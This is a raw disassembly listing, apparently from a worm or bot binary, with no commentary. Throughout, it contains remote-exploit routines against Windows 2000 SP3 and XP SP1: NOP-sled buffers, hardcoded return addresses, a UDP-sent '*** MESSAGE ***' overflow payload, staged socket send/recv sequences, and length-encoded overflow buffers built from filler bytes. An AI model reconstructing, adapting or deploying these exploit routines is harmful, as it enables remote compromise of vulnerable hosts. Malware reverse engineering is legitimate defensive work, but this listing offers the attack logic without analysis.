mov [ebp+eax*2+Src], cl
mov [ebp+eax*2+var_107], bl
inc eax
cmp eax, 28h
jl short loc_40DE12
push 60h ; Size
lea eax, [ebp+var_B8]
push offset dword_43EFF0 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl eax, 1
push eax ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [ebp+var_88]
push eax ; Dst
call _memcpy
add esp, 1Ch
push 9 ; Size
lea eax, [ebp+Str]
push (offset aC_4+3) ; Src
push eax ; Str
call _strlen
pop ecx
lea eax, [ebp+eax*2+var_89]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
add al, 1Ah
shl al, 1
mov [ebp+var_1], al
push 1 ; Size
lea eax, [ebp+var_1]
push eax ; Src
lea eax, [ebp+var_B5]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl al, 1
add al, 9
mov [ebp+var_2], al
push 1 ; Size
lea eax, [ebp+var_2]
push eax ; Src
lea eax, [ebp+var_8B]
push eax ; Dst
call _memcpy
xor eax, eax
mov ax, word ptr dword_4D525C
add esp, 2Ch
push eax
call dword_444260 ; htons
push [ebp+arg_0]
xor eax, 9999h
mov [ebp+var_18], eax
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
xor eax, 99999999h
mov [ebp+var_8], eax
push 2 ; Size
lea eax, [ebp+var_18]
push eax ; Src
push offset word_43EB6E ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_8]
push eax ; Src
push offset byte_43EB67 ; Dst
call _memcpy
add esp, 18h
cmp [ebp+arg_C0], ebx
jz loc_40E001
mov edi, 0DACh
push edi ; Size
lea eax, [ebp+Dst]
push 90h ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_C0]
imul eax, 3Ch
lea eax, dword_43F438[eax]
push 4 ; Size
push eax ; Src
mov [ebp+var_14], eax
lea eax, [ebp+var_24C8]
push eax ; Dst
call _memcpy
mov esi, offset aI_2 ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_24B8]
push esi ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_2194]
push offset dword_4330F8 ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
push [ebp+var_14] ; Src
lea eax, [ebp+var_2190]
push eax ; Dst
call _memcpy
add esp, 40h
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_2184]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 10h
xor eax, eax
loc_40DFB3: ; CODE XREF: sub_40DDD9+1F2j
mov cl, [ebp+eax+Dst]
mov [ebp+eax*2+var_4808], cl
mov [ebp+eax*2+var_4807], bl
inc eax
cmp eax, edi
jl short loc_40DFB3
mov esi, 1C52h
push esi ; Size
lea eax, [ebp+var_89B8]
push 31h ; Val
push eax ; Dst
mov [ebp+var_2CB0], bl
mov [ebp+var_2CAF], bl
call _memset
push esi ; Size
lea eax, [ebp+var_68E0]
push 31h ; Val
push eax ; Dst
call _memset
add esp, 18h
jmp short loc_40E058
; ---------------------------------------------------------------------------
loc_40E001: ; CODE XREF: sub_40DDD9+143j
push 7D0h ; Size
lea eax, [ebp+var_F18]
push 90h ; Val
push eax ; Dst
call _memset
mov esi, offset aI_2 ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_E78]
push esi ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_10]
push eax ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_10]
push eax ; Src
lea eax, [ebp+var_75C]
push eax ; Dst
call _memcpy
mov eax, dword_43F438
add esp, 2Ch
mov [ebp+var_76C], eax
loc_40E058: ; CODE XREF: sub_40DDD9+226j
push 0E29h ; Size
lea eax, [ebp+var_1EFC]
push 31h ; Val
push eax ; Dst
call _memset
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
push ebx
add eax, 4
push eax
lea eax, [ebp+var_B8]
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
mov esi, 640h
push esi
lea eax, [ebp+var_748]
push eax
push edi
call dword_444064 ; recv
push ebx
push 68h
push offset dword_43F058
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
push esi
lea eax, [ebp+var_748]
push eax
push edi
call dword_444064 ; recv
push ebx
push 0A0h
push offset dword_43F0C8
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
push esi
lea eax, [ebp+var_748]
push eax
push edi
call dword_444064 ; recv
cmp [ebp+arg_C0], ebx
jz loc_40E1B2
push 68h ; Size
lea eax, [ebp+var_89B8]
push offset dword_43F288 ; Src
push eax ; Dst
call _memcpy
push 1B5Ah ; Size
lea eax, [ebp+var_4808]
push eax ; Src
lea eax, [ebp+var_8950]
push eax ; Dst
call _memcpy
push 70h ; Size
lea eax, [ebp+var_68E0]
push offset dword_43F2F8 ; Src
push eax ; Dst
call _memcpy
push 0A5Eh ; Size
lea eax, [ebp+var_3774]
push eax ; Src
lea eax, [ebp+var_6870]
push eax ; Dst
call _memcpy
push 84h ; Size
lea eax, [ebp+var_5DAC]
push offset dword_43F370 ; Src
push eax ; Dst
call _memcpy
add esp, 3Ch
push ebx
push 10FCh
lea eax, [ebp+var_89B8]
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40E215
push ebx
push esi
lea eax, [ebp+var_748]
push eax
push edi
call dword_444064 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68E0]
jmp short loc_40E208
; ---------------------------------------------------------------------------
loc_40E1B2: ; CODE XREF: sub_40DDD9+329j
push 7Ch ; Size
lea eax, [ebp+var_1EFC]
push offset dword_43F170 ; Src
push eax ; Dst
call _memcpy
push 7D0h ; Size
lea eax, [ebp+var_F18]
push eax ; Src
lea eax, [ebp+var_1E80]
push eax ; Dst
call _memcpy
push 90h ; Size
lea eax, [ebp+var_16B0]
push offset off_43F1F0 ; Src
push eax ; Dst
call _memcpy
add esp, 24h
push ebx
mov [ebp+var_1205], bl
push 0CF8h
lea eax, [ebp+var_1EFC]
loc_40E208: ; CODE XREF: sub_40DDD9+3D7j
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E219
loc_40E215: ; CODE XREF: sub_40DDD9+2B5j
; sub_40DDD9+2E2j ...
xor al, al
jmp short loc_40E21B
; ---------------------------------------------------------------------------
loc_40E219: ; CODE XREF: sub_40DDD9+43Aj
mov al, 1
loc_40E21B: ; CODE XREF: sub_40DDD9+43Ej
pop edi
pop esi
pop ebx
leave
retn
sub_40DDD9 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 654h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call _memset
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-14h], 2
call dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_444260 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_444100 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E319
push 10h
lea eax, [ebp-14h]
push eax
push ebx
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40E319
push edi
push 89h
push offset dword_43EDD0
push ebx
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E319
push edi
mov esi, 640h
push esi
lea eax, [ebp-654h]
push eax
push ebx
call dword_444064 ; recv
push edi
push 0A8h
push offset dword_43EE60
push ebx
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E319
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call dword_444064 ; recv
push edi
push 0DEh
push offset dword_43EF10
push ebx
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40E319
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call dword_444064 ; recv
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40E341
dec eax
jz short loc_40E320
loc_40E319: ; CODE XREF: .text:0040E274j
; .text:0040E28Aj ...
xor eax, eax
jmp loc_40E3AD
; ---------------------------------------------------------------------------
loc_40E320: ; CODE XREF: .text:0040E317j
push edi
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40DDD9
add esp, 0C4h
push 0
jmp short loc_40E365
; ---------------------------------------------------------------------------
loc_40E341: ; CODE XREF: .text:0040E314j
push 2
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40DDD9
add esp, 0C4h
test al, al
jnz short loc_40E385
push 1
loc_40E365: ; CODE XREF: .text:0040E33Fj
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40DDD9
add esp, 0C4h
test al, al
jz short loc_40E38C
loc_40E385: ; CODE XREF: .text:0040E361j
mov dword ptr [ebp-4], 1
loc_40E38C: ; CODE XREF: .text:0040E383j
push ebx
call dword_444218 ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40E3AA
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
loc_40E3AA: ; CODE XREF: .text:0040E397j
xor eax, eax
inc eax
loc_40E3AD: ; CODE XREF: .text:0040E31Bj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40E3B2(void *Dst,size_t Size,int,int)
sub_40E3B2 proc near ; CODE XREF: .text:0040E670p
var_13DC = byte ptr -13DCh
var_13CC = byte ptr -13CCh
var_11E8 = byte ptr -11E8h
var_AE4 = byte ptr -0AE4h
var_68E = byte ptr -68Eh
var_683 = dword ptr -683h
var_67F = dword ptr -67Fh
var_67B = byte ptr -67Bh
var_551 = byte ptr -551h
var_54 = byte ptr -54h
var_34 = byte ptr -34h
Source = byte ptr -24h
var_18 = byte ptr -18h
Src = dword ptr -10h
var_8 = dword ptr -8
Dst = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 13DCh
call __alloca_probe
push ebx
push esi
push edi
mov esi, offset dword_433180
lea edi, [ebp+Src]
movsd
movsd
movsd
movsb
mov esi, offset aNetmaniac ; "NETMANIAC"
lea edi, [ebp+Source]
movsd
movsd
movsw
mov esi, offset aAdik ; "ADIK"
lea edi, [ebp+var_18]
movsd
movsb
push 7
pop ecx
mov esi, offset dword_43314C
lea edi, [ebp+var_54]
rep movsd
movsw
movsb
mov esi, offset dword_43313C
lea edi, [ebp+var_34]
movsd
movsd
push [ebp+Size] ; Size
movsd
movsb
mov esi, offset aMessage ; "*** MESSAGE ***"
lea edi, [ebp+var_13DC]
movsd
movsd
movsd
movsd
mov esi, [ebp+Dst]
xor eax, eax
push eax ; Val
mov ecx, 4DEh
lea edi, [ebp+var_13CC]
push esi ; Dst
rep stosd
call _memset
push 50h ; Size
push offset dword_43F6D8 ; Src
push esi ; Dst
call _memcpy
lea eax, [ebp+Source]
push eax ; Str
call _strlen
mov edi, eax
push 0Ch ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [esi+50h]
inc edi
push eax ; Dst
mov [ebp+Src], edi
mov [ebp+var_8], edi
call _memcpy
lea eax, [ebp+Source]
push eax ; Source
lea eax, [esi+5Ch]
push eax ; Dest
call _strcpy
dec edi
lea eax, [ebp+var_18]
and edi, 0FFFFFFFCh
push eax ; Str
add edi, 60h
call _strlen
mov ebx, eax
inc ebx
mov [ebp+Src], ebx
mov [ebp+var_8], ebx
push 0Ch ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [edi+esi]
push eax ; Dst
call _memcpy
add esp, 40h
lea eax, [ebp+var_18]
push eax ; Source
add edi, 0Ch
lea eax, [edi+esi]
push eax ; Dest
call _strcpy
push 8F8h ; Size
dec ebx
lea eax, [ebp+var_13DC]
push 90h ; Val
and ebx, 0FFFFFFFCh
push eax ; Dst
lea edi, [edi+ebx+4]
call _memset
push 1E4h ; Size
lea eax, [ebp+var_11E8]
push offset dword_43F4F0 ; Src
push eax ; Dst
call _memcpy
push 708h ; Size
lea eax, [ebp+var_AE4]
push 14h ; Val
push eax ; Dst
call _memset
push 0Dh ; Size
lea eax, [ebp+var_34]
push eax ; Src
lea eax, [ebp+var_68E]
push eax ; Dst
call _memcpy
mov eax, [ebp+arg_8]
mov [ebp+var_683], eax
mov eax, [ebp+arg_C]
mov [ebp+var_67F], eax
push 1Eh ; Size
lea eax, [ebp+var_54]
push eax ; Src
lea eax, [ebp+var_67B]
push eax ; Dst
call _memcpy
add esp, 44h
mov eax, 0E8Ch
sub eax, edi
push eax
push offset aMsgBodySizeD ; "[*] Msg body size: %d\n"
push offset stru_443520 ; FILE *
call _fprintf
lea eax, [ebp+var_551]
sub eax, edi
mov byte ptr [eax], 0
lea eax, [ebp+var_13DC]
push eax ; Str
call _strlen
mov ebx, eax
push 0Ch ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [edi+esi]
inc ebx
push eax ; Dst
mov [ebp+Src], ebx
mov [ebp+var_8], ebx
call _memcpy
lea eax, [ebp+var_13DC]
push eax ; Source
add edi, 0Ch
lea eax, [edi+esi]
push eax ; Dest
call _strcpy
push 0 ; Time
add edi, ebx
call _time
mov [esi+28h], eax
add esp, 28h
lea eax, [edi-50h]
mov [esi+4Ah], eax
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40E3B2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2064h
call __alloca_probe
push ebx
push esi
push edi
push 5
pop ecx
mov esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)"
lea edi, [ebp-64h]
rep movsd
movsw
movsb
xor eax, eax
lea edi, [ebp-4Dh]
stosd
stosw
stosb
push 5
mov dword ptr [ebp-44h], 77EE044Ch
mov dword ptr [ebp-40h], 768D693Eh
pop ecx
mov esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)"
lea edi, [ebp-3Ch]
rep movsd
movsb
xor eax, eax
lea edi, [ebp-27h]
stosd
stosd
stosb
lea eax, [ebp+0Ch]
push 1
push eax
mov dword ptr [ebp-1Ch], 77ED73B4h
mov dword ptr [ebp-18h], 7804BF52h
call sub_41AA0A
cmp eax, 1
pop ecx
pop ecx
jz loc_40E6F3
test eax, eax
jz loc_40E6F3
push 2
pop edi
cmp eax, edi
jnz short loc_40E61A
xor esi, esi
jmp short loc_40E61D
; ---------------------------------------------------------------------------
loc_40E61A: ; CODE XREF: .text:0040E614j
mov esi, [ebp-14h]
loc_40E61D: ; CODE XREF: .text:0040E618j
cmp eax, 3
jnz short loc_40E625
xor esi, esi
inc esi
loc_40E625: ; CODE XREF: .text:0040E620j
push 10h
lea eax, [ebp-10h]
push 0
push eax
call _memset
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov [ebp-10h], di
call dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_444260 ; htons
mov [ebp-0Eh], ax
lea eax, [esi+esi*4]
shl eax, 3
push dword ptr [ebp+eax-44h]
push dword ptr [ebp+eax-40h]
lea eax, [ebp-2064h]
push 2000h
push eax
call sub_40E3B2
add esp, 10h
push 11h
push edi
push edi
mov ebx, eax
call dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E6F3
push 10h
lea eax, [ebp-10h]
push eax
push 0
push ebx
lea eax, [ebp-2064h]
push eax
push esi
call dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_40E6F3
push esi
call dword_444218 ; closesocket
push 1F4h
call ds:dword_42B014 ; Sleep
push 23E7h
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
cmp al, 1
jnz short loc_40E6F3
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp short loc_40E6F5
; ---------------------------------------------------------------------------
loc_40E6F3: ; CODE XREF: .text:0040E601j
; .text:0040E609j ...
xor eax, eax
loc_40E6F5: ; CODE XREF: .text:0040E6F1j
pop edi
pop esi
pop ebx
leave
retn
; [00000017 BYTES: COLLAPSED FUNCTION std::char_traits<char>::assign(char *,uint,char). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40E711(void *Src,size_t Size)
sub_40E711 proc near ; CODE XREF: sub_40E971+116p
Src = dword ptr 4
Size = dword ptr 8
push ebx
mov ebx, [esp+4+Size]
push esi
push edi
push ebx ; Size
mov esi, ecx
call _malloc
mov edi, eax
test edi, edi
pop ecx
jz short loc_40E743
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
push ebx ; Size
push [esp+1Ch+Src] ; Src
push edi ; Dst
call _memcpy
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40E743: ; CODE XREF: sub_40E711+14j
pop edi
mov eax, esi
pop esi
pop ebx
retn 8
sub_40E711 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40E74B(void *Src,size_t Size,int,int)
sub_40E74B proc near ; CODE XREF: sub_40E841+19p
; sub_40E8B5+16p ...
Src = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+Size]
push ebx
push esi
mov ebx, ecx
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi ; Size
call _malloc
mov esi, eax
test esi, esi
pop ecx
jz short loc_40E797
push edi ; Size
push 0 ; Val
push esi ; Dst
call _memset
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
push [ebp+arg_C] ; Size
mov eax, [ebp+Size]
push [ebp+arg_8] ; Src
add eax, esi
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40E797: ; CODE XREF: sub_40E74B+1Cj
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 10h
sub_40E74B endp
; =============== S U B R O U T I N E =======================================
sub_40E7A0 proc near ; CODE XREF: sub_40E841+5Bp
; sub_40E841+68p ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40E7B0
push eax ; Memory
call _free
pop ecx
loc_40E7B0: ; CODE XREF: sub_40E7A0+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40E7A0 endp
; =============== S U B R O U T I N E =======================================
sub_40E7B9 proc near ; CODE XREF: sub_40E841+21p
; sub_40E916+8p ...
push esi
mov esi, ecx
mov eax, [esi+4]
cmp eax, 0FFFFh
jl short loc_40E7CA
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E7CA: ; CODE XREF: sub_40E7B9+Bj
push ebx
xor ebx, ebx
cmp eax, 7Fh
setnl bl
push edi
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax ; Size
call _malloc
mov edi, eax
test edi, edi
pop ecx
jnz short loc_40E7EB
xor al, al
jmp short loc_40E83D
; ---------------------------------------------------------------------------
loc_40E7EB: ; CODE XREF: sub_40E7B9+2Cj
mov eax, [esi+4]
add eax, ebx
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
cmp ebx, 1
jnz short loc_40E80B
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_40E820
; ---------------------------------------------------------------------------
loc_40E80B: ; CODE XREF: sub_40E7B9+46j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_40E820: ; CODE XREF: sub_40E7B9+50j
push dword ptr [esi+4] ; Size
push dword ptr [esi] ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
push dword ptr [esi] ; Memory
call _free
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40E83D: ; CODE XREF: sub_40E7B9+30j
pop edi
pop ebx
pop esi
retn
sub_40E7B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E841 proc near ; CODE XREF: sub_40E971+7Fp
; sub_40E971+DBp ...
Src = dword ptr -8
Size = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
push dword ptr [esi+4] ; int
lea ecx, [ebp+Src]
push dword ptr [esi] ; int
push 1 ; Size
push offset byte_42C988 ; Src
call sub_40E74B
lea ecx, [ebp+Src]
call sub_40E7B9
mov ebx, [ebp+Size]
inc ebx
push ebx ; Size
call _malloc
mov edi, eax
test edi, edi
pop ecx
jnz short loc_40E87C
xor al, al
jmp short loc_40E8B0
; ---------------------------------------------------------------------------
loc_40E87C: ; CODE XREF: sub_40E841+35j
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
push [ebp+Size] ; Size
lea eax, [edi+1]
push [ebp+Src] ; Src
mov byte ptr [edi], 3
push eax ; Dst
call _memcpy
add esp, 18h
mov ecx, esi
call sub_40E7A0
lea ecx, [ebp+Src]
mov [esi+4], ebx
mov [esi], edi
call sub_40E7A0
mov al, 1
loc_40E8B0: ; CODE XREF: sub_40E841+39j
pop edi
pop esi
pop ebx
leave
retn
sub_40E841 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8B5 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)+14p
; sub_40E906+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push [ebp+arg_4] ; int
mov esi, ecx
push [ebp+arg_0] ; int
lea ecx, [ebp+var_8]
push dword ptr [esi+4] ; Size
push dword ptr [esi] ; Src
call sub_40E74B
mov ecx, esi
call sub_40E7A0
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40E8B5 endp
; [0000001D BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_40E906 proc near ; CODE XREF: sub_40E952+Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40E8B5
retn 8
sub_40E906 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E916 proc near ; CODE XREF: sub_40E952+16p
; sub_40E971+87p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40E7B9
test al, al
jz short loc_40E94F
push dword ptr [esi+4] ; int
lea ecx, [ebp+var_8]
push dword ptr [esi] ; int
push 1 ; Size
push offset asc_42FCEC ; "#"
call sub_40E74B
mov ecx, esi
call sub_40E7A0
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40E94F: ; CODE XREF: sub_40E916+Fj
pop esi
leave
retn
sub_40E916 endp
; =============== S U B R O U T I N E =======================================
sub_40E952 proc near ; CODE XREF: sub_40E971+12Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
call sub_40E906
test al, al
jz short loc_40E96D
mov ecx, esi
call sub_40E916
loc_40E96D: ; CODE XREF: sub_40E952+12j
pop esi
retn 8
sub_40E952 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E971 proc near ; CODE XREF: .text:0040F759p
Dst = byte ptr -848h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 848h
push ebx
push esi
xor ecx, ecx
xor edx, edx
mov ebx, 408h
xor esi, esi
cmp [ebp+arg_8], ebx
mov [ebp+var_3C], ecx
mov [ebp+var_40], edx
jg loc_40ECC1
mov eax, [ebp+arg_10]
add eax, 8
cmp eax, ebx
ja loc_40ECC1
push edi
push 4
push offset dword_43F744
lea ecx, [ebp+var_28]
mov [ebp+var_24], esi
mov [ebp+var_28], esi
mov [ebp+var_4], esi
mov [ebp+var_8], esi
mov [ebp+var_34], esi
mov [ebp+var_38], esi
mov [ebp+var_C], esi
mov [ebp+var_10], esi
mov [ebp+var_2C], esi
mov [ebp+var_30], esi
mov [ebp+var_1C], esi
mov [ebp+var_20], esi
mov [ebp+var_14], esi
mov [ebp+var_18], esi
call sub_40E8B5
push 3
push offset dword_43F740
lea ecx, [ebp+var_28]
call sub_40E8B5
lea ecx, [ebp+var_28]
call sub_40E841
lea ecx, [ebp+var_28]
call sub_40E916
mov edi, 800h
push edi ; Size
lea eax, [ebp+Dst]
push 42h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push 8
push offset aRbrbrbrb ; "BBBB"
lea ecx, [ebp+var_8]
call sub_40E8B5
push [ebp+arg_10]
lea ecx, [ebp+var_8]
push [ebp+arg_C]
call sub_40E8B5
mov eax, 409h
sub eax, [ebp+var_4]
lea ecx, [ebp+var_8]
push eax
lea eax, [ebp+Dst]
push eax
call sub_40E8B5
lea ecx, [ebp+var_8]
call sub_40E841
push offset dword_4331E4 ; Str
lea ecx, [ebp+var_38]
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
lea ecx, [ebp+var_38]
call sub_40E841
push edi ; Size
lea eax, [ebp+Dst]
push 44h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push 410h ; Size
lea eax, [ebp+Dst]
push eax ; Src
lea ecx, [ebp+var_48]
call sub_40E711
lea ecx, [ebp+var_48]
call sub_40E841
push [ebp+var_44]
lea ecx, [ebp+var_38]
push [ebp+var_48]
call sub_40E952
lea ecx, [ebp+var_48]
call sub_40E7A0
push edi ; Size
lea eax, [ebp+Dst]
push 43h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_10]
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *)
push 4
push offset dword_43F72C
lea ecx, [ebp+var_10]
call sub_40E8B5
push [ebp+arg_8]
lea ecx, [ebp+var_10]
push [ebp+arg_4]
call sub_40E8B5
sub ebx, [ebp+arg_8]
lea eax, [ebp+Dst]
push ebx
push eax
lea ecx, [ebp+var_10]
call sub_40E8B5
lea ecx, [ebp+var_10]
call sub_40E841
push [ebp+var_C]
mov eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_30]
call sub_40E8B5
push [ebp+var_34]
mov eax, [ebp+var_38]
push eax
lea ecx, [ebp+var_30]
call sub_40E8B5
lea ecx, [ebp+var_30]
call sub_40E916
lea ecx, [ebp+var_10]
call sub_40E7A0
lea ecx, [ebp+var_38]
call sub_40E7A0
push [ebp+var_4]
mov eax, [ebp+var_8]
push eax
lea ecx, [ebp+var_20]
call sub_40E8B5
push [ebp+var_24]
mov eax, [ebp+var_28]
push eax
lea ecx, [ebp+var_20]
call sub_40E8B5
push [ebp+var_2C]
mov eax, [ebp+var_30]
push eax
lea ecx, [ebp+var_20]
call sub_40E8B5
lea ecx, [ebp+var_20]
call sub_40E916
lea ecx, [ebp+var_8]
call sub_40E7A0
lea ecx, [ebp+var_28]
call sub_40E7A0
lea ecx, [ebp+var_30]
call sub_40E7A0
push edi ; Size
lea eax, [ebp+Dst]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push 400h
lea eax, [ebp+Dst]
push eax
lea ecx, [ebp+var_18]
call sub_40E8B5
lea ecx, [ebp+var_18]
call sub_40E841
push 2
push offset dword_4331D8
lea ecx, [ebp+var_18]
call sub_40E8B5
push [ebp+var_1C]
mov eax, [ebp+var_20]
push eax
lea ecx, [ebp+var_18]
call sub_40E8B5
lea ecx, [ebp+var_18]
call sub_40E916
lea ecx, [ebp+var_20]
call sub_40E7A0
push [ebp+var_14]
mov eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_10]
mov [ebp+var_C], esi
mov [ebp+var_10], esi
mov [ebp+var_4], esi
mov [ebp+var_8], esi
call sub_40E8B5
lea ecx, [ebp+var_10]
call sub_40E7B9
lea ecx, [ebp+var_18]
call sub_40E7A0
push offset dword_4331D4 ; Str
lea ecx, [ebp+var_8]
